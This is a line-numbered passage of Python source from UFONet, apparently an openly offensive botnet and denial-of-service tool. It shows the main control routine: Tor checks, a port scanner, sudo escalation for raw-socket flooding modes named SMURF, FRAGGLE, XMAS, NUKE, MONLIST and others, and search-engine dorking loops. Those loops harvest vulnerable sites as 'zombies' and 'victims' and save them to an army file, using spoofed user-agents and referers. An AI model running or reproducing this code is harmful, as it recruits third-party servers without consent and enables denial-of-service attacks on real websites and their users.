  292. public_ip = requests.get(self.check_ip_service1).text
  293. public_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(public_ip).group(1)
  294. except:
  295. try:
  296. public_ip = requests.get(self.check_ip_service2).text
  297. public_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(public_ip).group(1)
  298. except:
  299. public_ip = "Unknown"
  300. return private_ip, public_ip
  301. def try_running(self, func, error, args=None):
  302. options = self.options
  303. args = args or []
  304. try:
  305. return func(*args)
  306. except Exception as e:
  307. if DEBUG == True:
  308. print(error, "error")
  309. traceback.print_exc()
  310. def checkeuid(self):
  311. try:
  312. euid = os.geteuid()
  313. except:
  314. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  315. print("[AI] "+self.exit_msg+"\n")
  316. sys.exit(2) # return
  317. return euid
  318. def start_ship_engine(self):
  319. self.agents = [] # generating available user-agents
  320. f = open(self.agents_file)
  321. agents = f.readlines()
  322. f.close()
  323. for agent in agents:
  324. self.agents.append(agent)
  325. self.user_agent = random.choice(self.agents).strip()
  326. self.search_engines = [] # available dorking search engines
  327. self.search_engines.append('bing') # [13/07/2021: OK!] [25/08/2024 OK!]
  328. #self.search_engines.append('yahoo') # [13/07/2021: OK!] [25/08/2024: tracking remote url origin]
  329. self.search_engines.append('duck') # [13/07/2021: OK!] [25/08/2024 OK!]
  330. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  331. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  332. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  333. if not os.path.exists("core/json/"): # create gui json cfg files folder
  334. os.mkdir("core/json/")
  335. self.banner_welcome()
  336. self.update_flying_stats() # update flying time stats
  337. chargo = self.check_mothership_chargo() # check mothership chargo
  338. self.update_max_chargo(int(chargo)) # update max chargo stats
  339. self.generate_exit_msg() # generate random exit msg
  340. def hmac_sha1(self, key, msg):
  341. if len(key) > 20:
  342. key = sha1(key).digest()
  343. key += chr(0).encode('utf-8') * (20 - len(key))
  344. o_key_pad = key.translate(self.trans_5C)
  345. i_key_pad = key.translate(self.trans_36)
  346. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  347. def derive_keys(self, key):
  348. key = key.encode('utf-8')
  349. h = sha256()
  350. h.update(key)
  351. h.update('cipher'.encode('utf-8'))
  352. cipher_key = h.digest()
  353. h = sha256()
  354. h.update(key)
  355. h.update('mac'.encode('utf-8'))
  356. mac_key = h.digest()
  357. return (cipher_key, mac_key)
  358. def decrypt(self, key, text):
  359. KEY_SIZE = 32
  360. BLOCK_SIZE = 16
  361. MAC_SIZE = 20
  362. mode = AES.MODE_CFB
  363. try:
  364. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  365. except:
  366. try:
  367. padding = len(text) % 4
  368. if padding == 1:
  369. return ''
  370. elif padding == 2:
  371. text += b'=='
  372. elif padding == 3:
  373. text += b'='
  374. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  375. except TypeError:
  376. return None
  377. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  378. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  379. mac = iv_ciphertext_mac[-MAC_SIZE:]
  380. (cipher_key, mac_key) = self.derive_keys(key)
  381. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  382. if mac != expected_mac:
  383. return None
  384. aes = AES.new(cipher_key, mode, iv)
  385. self.decryptedtext = aes.decrypt(ciphertext)
  386. try:
  387. self.decryptedtext = self.decryptedtext.decode('utf-8')
  388. except:
  389. pass
  390. def run(self, opts=None):
  391. if opts:
  392. self.create_options(opts)
  393. options = self.options
  394. # start threads
  395. if not self.options.threads:
  396. self.options.threads=5 # default number of threads
  397. self.sem = threading.Semaphore(self.options.threads)
  398. # start ship engine
  399. self.start_ship_engine()
  400. # check proxy options
  401. proxy = options.proxy
  402. if options.proxy:
  403. try:
  404. pattern = r'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  405. m = re.search(pattern, proxy)
  406. if m is None:
  407. self.banner()
  408. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  409. return
  410. else:
  411. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  412. except Exception:
  413. self.banner()
  414. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  415. return
  416. # check tor connection
  417. if options.checktor:
  418. url = self.check_tor_url # TOR status checking site
  419. self.banner()
  420. print("\nSending request to: " + url + "\n")
  421. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  422. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  423. try:
  424. if options.proxy: # set proxy
  425. self.proxy_transport(options.proxy)
  426. req = urllib.request.Request(url, None, headers)
  427. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  428. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  429. if not tor_reply or 'Congratulations' not in tor_reply:
  430. print("It seems that Tor is not properly set.\n")
  431. print(("IP address appears to be: " + your_ip + "\n"))
  432. else:
  433. print("Congratulations!. Tor is properly being used :-)\n")
  434. print(("IP address appears to be: " + your_ip + "\n"))
  435. except:
  436. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  437. sys.exit(2) # return
  438. # run AES256+HMAC-SHA1 enc/dec tool
  439. if options.cryptomsg:
  440. from core.tools.crypter import Cipher
  441. print(" " + '='*44)
  442. print(r" ")
  443. print(r" ____...------------...____ ")
  444. print(r" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  445. print(r" .' / / \ \ '. ")
  446. print(r" |=====/o/======================\o\=====| ")
  447. print(r" |____/_/________..____..________\_\____| ")
  448. print(r" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  449. print(r" \__/_____\####/0213411543/####/_____\__/ ")
  450. print(r" |===\!/========================\!/===| ")
  451. print(r" | |=| .---. |=| | ")
  452. print(r" |===|o|=========/ \========|o|===| ")
  453. print(r" | | | \() ()/ | | | ")
  454. print(r" |===|o|======{'-.) A (.-'}=====|o|===| ")
  455. print(r" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  456. print(r" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  457. print(r" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  458. print(r" '''''''''''''''''''''''''''''''''''''' ")
  459. print(r" + UFONet Crypter (AES256+HMAC-SHA1)")
  460. print(r" (140 plain text chars = 69 encrypted chars)")
  461. print(" " + '='*44 + "\n")
  462. text = str(input("-> Enter TEXT: "))
  463. input_key = str(input("\n-> Enter KEY: "))
  464. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  465. c = Cipher(key, text)
  466. msg = c.encrypt()
  467. msg = msg.decode('utf-8')
  468. c.set_text(msg)
  469. print("\n" + " " + '-'*44)
  470. print('\n-> Ciphertext: [', msg, ']')
  471. print('\n-> Length:', len(msg))
  472. print("\n" + " " + '-'*44)
  473. print('\n-> Key (share it using SNEAKNET!):', input_key)
  474. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  475. # run shownet tool
  476. if options.shownet:
  477. hex_mac = self.show_mac_address()
  478. self.banner()
  479. print("-> Network Info:")
  480. print('='*44)
  481. print("-"*35)
  482. print("|- MAC Address :", hex_mac)
  483. print("|" +"-"*34)
  484. private_ip, public_ip = self.show_ips()
  485. print("|- IP Private :", private_ip)
  486. print("|" +"-"*34)
  487. self.check_ip_services = [self.check_ip_service1, self.check_ip_service2] # shuffle check ip services
  488. self.check_ip_service = random.choice(self.check_ip_services).strip() # shuffle user-agent
  489. t = urlparse(self.check_ip_service)
  490. name_service = t.netloc
  491. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  492. print("-"*35)
  493. print('='*75, "\n")
  494. # run UFOSCAN tool (check EUID when running UFOSCAN)
  495. if options.xray:
  496. euid = self.checkeuid()
  497. if euid != 0:
  498. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  499. try:
  500. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  501. os.execlpe('sudo', *args)
  502. except:
  503. pass # keep running
  504. else:
  505. if not options.xrayps:
  506. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  507. ports = options.xrayps
  508. try:
  509. portX, portY = ports.split('-')
  510. try:
  511. portX = int(portX)
  512. portY = int(portY)
  513. except:
  514. portX = 1
  515. portY = 1024
  516. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  517. except:
  518. portX = 1
  519. portY = 1024
  520. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  521. self.banner()
  522. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  523. print('='*22 + '\n')
  524. try:
  525. self.instance = UFOSCAN() # instance main class for scanning operations
  526. xray = self.instance.scanning(options.xray, portX, portY)
  527. except Exception as e:
  528. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  529. if DEBUG == True:
  530. traceback.print_exc()
  531. return
  532. # show code timeline
  533. if options.timeline:
  534. f = open(self.timeline_file, 'r')
  535. releases = f.readlines()
  536. f.close()
  537. self.banner()
  538. print("-> Code timeline:")
  539. print('='*44)
  540. print("-"*35)
  541. for r in releases:
  542. print(r.strip('\n'))
  543. print("-"*35)
  544. print('='*75, "\n")
  545. # print some examples
  546. if options.examples:
  547. f = open(self.examples_file, 'r')
  548. examples = f.readlines()
  549. f.close()
  550. self.banner()
  551. for e in examples:
  552. print(e.strip('\n'))
  553. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  554. if options.ufosyn:
  555. euid = self.checkeuid()
  556. if euid != 0:
  557. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  558. try:
  559. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  560. os.execlpe('sudo', *args)
  561. except:
  562. pass # keep running, but UFOSYN will fail
  563. # check EUID when running SPRAY (root required)
  564. if options.spray:
  565. euid = self.checkeuid()
  566. if euid != 0:
  567. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  568. try:
  569. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  570. os.execlpe('sudo', *args)
  571. except:
  572. pass # keep running, but SPRAY will fail
  573. # check EUID when running SMURF (root required)
  574. if options.smurf:
  575. euid = self.checkeuid()
  576. if euid != 0:
  577. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  578. try:
  579. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  580. os.execlpe('sudo', *args)
  581. except:
  582. pass # keep running, but SMURF will fail
  583. # check EUID when running FRAGGLE (root required)
  584. if options.fraggle:
  585. euid = self.checkeuid()
  586. if euid != 0:
  587. print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n")
  588. try:
  589. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  590. os.execlpe('sudo', *args)
  591. except:
  592. pass # keep running, but FRAGGLE will fail
  593. # check EUID when running XMAS (root required)
  594. if options.xmas:
  595. euid = self.checkeuid()
  596. if euid != 0:
  597. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  598. try:
  599. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  600. os.execlpe('sudo', *args)
  601. except:
  602. pass # keep running, but XMAS will fail
  603. # check EUID when running UFOACK (root required)
  604. if options.ufoack:
  605. euid = self.checkeuid()
  606. if euid != 0:
  607. print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n")
  608. try:
  609. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  610. os.execlpe('sudo', *args)
  611. except:
  612. pass # keep running, but UFOACK will fail
  613. # check EUID when running UFORST (root required)
  614. if options.uforst:
  615. euid = self.checkeuid()
  616. if euid != 0:
  617. print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n")
  618. try:
  619. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  620. os.execlpe('sudo', *args)
  621. except:
  622. pass # keep running, but UFORST will fail
  623. # check EUID when running DROPER (root required)
  624. if options.droper:
  625. euid = self.checkeuid()
  626. if euid != 0:
  627. print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n")
  628. try:
  629. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  630. os.execlpe('sudo', *args)
  631. except:
  632. pass # keep running, but DROPER will fail
  633. # check EUID when running OVERLAP (root required)
  634. if options.overlap:
  635. euid = self.checkeuid()
  636. if euid != 0:
  637. print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n")
  638. try:
  639. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  640. os.execlpe('sudo', *args)
  641. except:
  642. pass # keep running, but OVERLAP will fail
  643. # check EUID when running PINGER (root required)
  644. if options.pinger:
  645. euid = self.checkeuid()
  646. if euid != 0:
  647. print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n")
  648. try:
  649. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  650. os.execlpe('sudo', *args)
  651. except:
  652. pass # keep running, but PINGER will fail
  653. # check EUID when running UFOUDP (root required)
  654. if options.ufoudp:
  655. euid = self.checkeuid()
  656. if euid != 0:
  657. print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n")
  658. try:
  659. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  660. os.execlpe('sudo', *args)
  661. except:
  662. pass # keep running, but UFOUDP will fail
  663. # check EUID when running NUKE (root required)
  664. if options.nuke:
  665. euid = self.checkeuid()
  666. if euid != 0:
  667. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  668. try:
  669. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  670. os.execlpe('sudo', *args)
  671. except:
  672. pass # keep running, but NUKE will fail
  673. # check EUID when running TACHYON (root required)
  674. if options.tachyon:
  675. euid = self.checkeuid()
  676. if euid != 0:
  677. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  678. try:
  679. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  680. os.execlpe('sudo', *args)
  681. except:
  682. pass # keep running, but TACHYON will fail
  683. # check EUID when running MONLIST (root required)
  684. if options.monlist:
  685. euid = self.checkeuid()
  686. if euid != 0:
  687. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  688. try:
  689. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  690. os.execlpe('sudo', *args)
  691. except:
  692. pass # keep running, but MONLIST will fail
  693. # check EUID when running SNIPER (root required)
  694. if options.sniper:
  695. euid = self.checkeuid()
  696. if euid != 0:
  697. print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n")
  698. try:
  699. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  700. os.execlpe('sudo', *args)
  701. except:
  702. pass # keep running, but SNIPER will fail
  703. # search for [Zombies] on search engines results (dorking)
  704. if options.search:
  705. zombies = []
  706. if options.engine:
  707. engine = options.engine
  708. else:
  709. engine = "duck" # default search engine
  710. try:
  711. self.banner()
  712. if not os.path.exists(self.humans_file) == True:
  713. f = open(self.humans_file, 'w')
  714. f.close()
  715. lf = open(self.humans_file, 'r')
  716. restored = lf.readlines()
  717. zombies_restored = len(restored)
  718. lf.close()
  719. lz = open(self.zombies_file, 'r')
  720. zombies_army = lz.readlines()
  721. for zombie in zombies_army:
  722. zombies.append(zombie) # add zombies from army to the zombies pool
  723. lz.close()
  724. if len(restored) > 0:
  725. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  726. if not self.options.forceyes:
  727. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  728. print('-'*25)
  729. else:
  730. backup_reply = "Y"
  731. if backup_reply == "n" or backup_reply == "N":
  732. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  733. os.remove(self.humans_file)
  734. zombies_restored = 0 # flush zombies restored
  735. print('-'*25 + "\n")
  736. else:
  737. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  738. print('-'*25 + "\n")
  739. for zombie in restored:
  740. zombies.append(zombie) # add previous data to zombies pool
  741. if options.allengines:
  742. if options.ex_engine: # exclude some search engines manually
  743. exclude = options.ex_engine.split(",")
  744. for ex in exclude:
  745. ex = ex.lower()
  746. if ex in self.search_engines:
  747. if len(self.search_engines) == 1: # at least one should make it
  748. pass
  749. else:
  750. self.search_engines.remove(ex)
  751. for e in self.search_engines:
  752. engine = e
  753. print('='*44)
  754. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  755. print('='*44 + '\n')
  756. self.options.engine = engine
  757. try:
  758. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  759. if zombies_chain != None:
  760. for zombie in zombies_chain:
  761. if zombie not in zombies: # evade possible repetitions
  762. zombies.append(zombie)
  763. except:
  764. if zombies: # backup all new zombies found to file in case of exception
  765. for zombie in zombies:
  766. if zombie+os.linesep not in restored: # only append new zombies found
  767. with open(self.humans_file, "a") as f:
  768. f.write(str(zombie+os.linesep))
  769. else:
  770. if restored:
  771. print('='*44)
  772. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  773. print('='*44 + '\n')
  774. if restored: # from restored file
  775. try:
  776. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  777. if zombies_chain != None:
  778. for zombie in zombies_chain:
  779. if zombie not in zombies: # evade possible repetitions
  780. zombies.append(zombie)
  781. except:
  782. if zombies: # backup all new zombies found to file in case of exception
  783. for zombie in zombies:
  784. if zombie+os.linesep not in restored: # only append new zombies found
  785. with open(self.humans_file, "a") as f:
  786. f.write(str(zombie+os.linesep))
  787. else:
  788. try:
  789. zombies = self.search_zombies(dork='', zombies_found=zombies)
  790. except:
  791. if zombies: # backup all new zombies found to file in case of exception
  792. for zombie in zombies:
  793. if zombie+os.linesep not in restored: # only append new zombies found
  794. with open(self.humans_file, "a") as f:
  795. f.write(str(zombie+os.linesep))
  796. total_restored = zombies_restored
  797. new_zombies = 0 # new zombies counter
  798. f = open(self.zombies_file, 'r')
  799. zz = f.readlines()
  800. f.close()
  801. zombies_found = []
  802. for z in zombies:
  803. if z.endswith(os.linesep):
  804. z = z.replace(os.linesep, "")
  805. if z not in zz and z+os.linesep not in zz:
  806. new_zombies = new_zombies + 1
  807. zombies_found.append(z)
  808. print('='*62)
  809. print("\n- Victims found:", len(zombies_found), "\n")
  810. print(" - Restored:", total_restored)
  811. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  812. print('-'*32)
  813. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  814. print('='*62 + '\n')
  815. if len(zombies) > 0:
  816. if not self.options.forceyes:
  817. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  818. print('-'*25)
  819. else:
  820. check_backup_reply = "Y"
  821. if check_backup_reply == "n" or check_backup_reply == "N":
  822. if os.path.isfile(self.humans_file):
  823. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  824. print("\n[Info] [AI] Temporal data correctly removed...\n")
  825. else:
  826. with open(self.humans_file, "w") as f:
  827. for z in zombies_found:
  828. if z.endswith(os.linesep):
  829. z = z.replace(os.linesep, "")
  830. if z not in zz or z+os.linesep not in zz:
  831. f.write(z+os.linesep)
  832. f.close()
  833. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  834. print('-'*25 + "\n")
  835. if new_zombies and new_zombies > 0:
  836. if not self.options.forceyes:
  837. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  838. print('-'*25 + "\n")
  839. else:
  840. check_url_link_reply = "Y"
  841. if check_url_link_reply == "n" or check_url_link_reply == "N":
  842. print("[AI] "+self.exit_msg+"\n")
  843. pass
  844. else:
  845. print("\n" + '='*44)
  846. test = self.testing(zombies_found)
  847. else:
  848. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  849. except Exception:
  850. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  851. # search for [Zombies] from a list of [Dorks]
  852. if options.dorks:
  853. if options.engine:
  854. engine = options.engine
  855. else:
  856. engine = "duck" # default search engine
  857. try:
  858. dorks = self.extract_dorks()
  859. if not dorks:
  860. return
  861. zombies = []
  862. self.banner()
  863. if not os.path.exists(self.humans_file) == True:
  864. f = open(self.humans_file, 'w')
  865. f.close()
  866. lf = open(self.humans_file, 'r')
  867. restored = lf.readlines()
  868. zombies_restored = len(restored)
  869. lf.close()
  870. lz = open(self.zombies_file, 'r')
  871. zombies_army = lz.readlines()
  872. for zombie in zombies_army:
  873. zombies.append(zombie) # add zombies from army to the zombies pool
  874. lz.close()
  875. if len(restored) > 0:
  876. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  877. if not self.options.forceyes:
  878. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  879. print('-'*25)
  880. else:
  881. backup_reply = "Y"
  882. if backup_reply == "n" or backup_reply == "N":
  883. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  884. os.remove(self.humans_file)
  885. zombies_restored = 0 # flush zombies restored
  886. print('-'*25 + "\n")
  887. else:
  888. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  889. print('-'*25 + "\n")
  890. for zombie in restored:
  891. zombies.append(zombie) # add previous data to zombies pool
  892. total_restored = zombies_restored
  893. if options.allengines:
  894. if options.ex_engine: # exclude some search engines manually
  895. exclude = options.ex_engine.split(",")
  896. for ex in exclude:
  897. ex = ex.lower()
  898. if ex in self.search_engines:
  899. if len(self.search_engines) == 1: # at least one should make it
  900. pass
  901. else:
  902. self.search_engines.remove(ex)
  903. for e in self.search_engines:
  904. engine = e
  905. print('='*44)
  906. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  907. print('='*44 + '\n')
  908. self.options.engine = engine
  909. for dork in dorks:
  910. print('='*22)
  911. print("Dork:", dork)
  912. print('='*22 + '\n')
  913. try:
  914. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  915. for zombie in dorked_zombies:
  916. if zombie not in zombies: # evade repetitions for zombies found
  917. zombies.append(zombie)
  918. if zombie+os.linesep not in restored: # only append new zombies found
  919. with open(self.humans_file, "a") as f:
  920. f.write(str(zombie+os.linesep))
  921. f.close()
  922. except:
  923. if zombies: # backup new zombies found on exception
  924. for zombie in zombies:
  925. if zombie+os.linesep not in restored: # only append new zombies found
  926. with open(self.humans_file, "a") as f:
  927. f.write(str(zombie+os.linesep))
  928. f.close()
  929. else:
  930. if restored:
  931. print('='*44)
  932. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  933. print('='*44 + '\n')
  934. for dork in dorks:
  935. print('='*22)
  936. print("Dork:", dork)
  937. print('='*22 + '\n')
  938. try:
  939. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  940. if dorked_zombies != None:
  941. for zombie in dorked_zombies:
  942. if zombie not in zombies: # evade repetitions for zombies found
  943. zombies.append(zombie)
  944. except:
  945. if zombies: # backup new zombies found on exception
  946. for zombie in zombies:
  947. if zombie+os.linesep not in restored: # only append new zombies found
  948. with open(self.humans_file, "a") as f:
  949. f.write(str(zombie+os.linesep))
  950. f.close()
  951. new_zombies = 0 # new zombies counter
  952. f = open(self.zombies_file, 'r')
  953. zz = f.readlines()
  954. f.close()
  955. zombies_found = []
  956. for z in zombies:
  957. if z.endswith(os.linesep):
  958. z = z.replace(os.linesep, "")
  959. if z not in zz and z+os.linesep not in zz:
  960. new_zombies = new_zombies + 1
  961. zombies_found.append(z)
  962. print('='*62)
  963. print("\n- Victims found:", len(zombies_found), "\n")
  964. print(" - Restored:", total_restored)
  965. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  966. print('-'*32)
  967. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  968. print('='*62 + '\n')
  969. if len(zombies_found) > 0:
  970. if not self.options.forceyes:
  971. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  972. print('-'*25)
  973. else:
  974. check_backup_reply = "Y"
  975. if check_backup_reply == "n" or check_backup_reply == "N":
  976. if os.path.isfile(self.humans_file):
  977. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  978. print("\n[Info] [AI] Temporal data correctly removed...\n")
  979. else:
  980. with open(self.humans_file, "w") as f:
  981. for z in zombies_found:
  982. if z.endswith(os.linesep):
  983. z = z.replace(os.linesep, "")
  984. if z not in zz or z+os.linesep not in zz:
  985. f.write(z+os.linesep)
  986. f.close()
  987. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  988. print('-'*25 + "\n")
  989. if new_zombies and new_zombies > 0:
  990. if not self.options.forceyes:
  991. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  992. print('-'*25 + "\n")
  993. else:
  994. check_url_link_reply = "Y"
  995. if check_url_link_reply == "n" or check_url_link_reply == "N":
  996. print("[AI] "+self.exit_msg+"\n")
  997. pass
  998. else:
  999. print("\n" + '='*44)
  1000. test = self.testing(zombies_found)
  1001. else:
  1002. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1003. except Exception:
  1004. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  1005. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  1006. if options.autosearch:
  1007. try:
  1008. dorks = self.extract_dorks()
  1009. except:
  1010. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  1011. return
  1012. engines_list = self.search_engines
  1013. stop_flag = False # use a flag to establish an end
  1014. try:
  1015. self.banner()
  1016. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  1017. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  1018. print('-'*25 + "\n")
  1019. zombies_found = []
  1020. lz = open(self.zombies_file, 'r')
  1021. zombies_army = lz.readlines()
  1022. for zombie in zombies_army:
  1023. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  1024. lz.close()
  1025. if not os.path.exists(self.humans_file) == True:
  1026. f = open(self.humans_file, 'w')
  1027. f.close()
  1028. lf = open(self.humans_file, 'r')
  1029. restored = lf.readlines()
  1030. zombies_restored = len(restored)
  1031. lf.close()
  1032. if len(restored) > 0:
  1033. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1034. if not self.options.forceyes:
  1035. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1036. print('-'*25)
  1037. else:
  1038. backup_reply = "Y"
  1039. if backup_reply == "n" or backup_reply == "N":
  1040. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  1041. os.remove(self.humans_file)
  1042. zombies_restored = 0 # flush zombies restored
  1043. print('-'*25 + "\n")
  1044. else:
  1045. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  1046. print('-'*25 + "\n")
  1047. for zombie in restored:
  1048. zombies_found.append(zombie) # add previous data to zombies found pool
  1049. total_restored = zombies_restored
  1050. while stop_flag == False:
  1051. if not os.path.exists(self.humans_file) == True:
  1052. f = open(self.humans_file, 'w')
  1053. f.close()
  1054. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  1055. restored = lf.readlines()
  1056. lf.close()
  1057. zombies_restored = len(restored)
  1058. for e in engines_list:
  1059. zombies_counter = 0 # use it also as (engine) flag
  1060. engine = e
  1061. self.options.engine = engine
  1062. print('='*44 + '\n')
  1063. print(("[AI] Searching for zombies using: "+engine+'\n'))
  1064. print('='*44 + '\n')
  1065. for dork in dorks:
  1066. print('='*22)
  1067. print("Dork:", dork)
  1068. print('='*22 + '\n')
  1069. try:
  1070. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  1071. for zombie in dorked_zombies:
  1072. if zombie not in zombies_found: # evade repetitions for zombies found
  1073. zombies_found.append(zombie)
  1074. if zombie+os.linesep not in restored: # only append new zombies found
  1075. with open(self.humans_file, "a") as f:
  1076. f.write(str(zombie+os.linesep))
  1077. f.close()
  1078. zombies_counter = zombies_counter + 1
  1079. except:
  1080. if zombies_found: # backup new zombies found on exception
  1081. for zombie in zombies_found:
  1082. if zombie+os.linesep not in restored: # only append new zombies found
  1083. with open(self.humans_file, "a") as f:
  1084. f.write(str(zombie+os.linesep))
  1085. f.close()
  1086. if zombies_counter == 0:
  1087. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  1088. print('-'*25 + "\n")
  1089. engines_list.remove(engine) # remove not more results engine from search engines list
  1090. if not engines_list: # if search engines empty, call return-exit routine
  1091. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  1092. print('-'*25 + "\n")
  1093. stop_flag = True # exit flag up
  1094. new_zombies = 0 # new zombies counter
  1095. f = open(self.zombies_file, 'r')
  1096. zz = f.readlines()
  1097. f.close()
  1098. all_zombies_found = []
  1099. for z in zombies_found:
  1100. if z.endswith(os.linesep):
  1101. z = z.replace(os.linesep, "")
  1102. if z not in zz and z+os.linesep not in zz:
  1103. new_zombies = new_zombies + 1
  1104. all_zombies_found.append(z)
  1105. print('='*62)
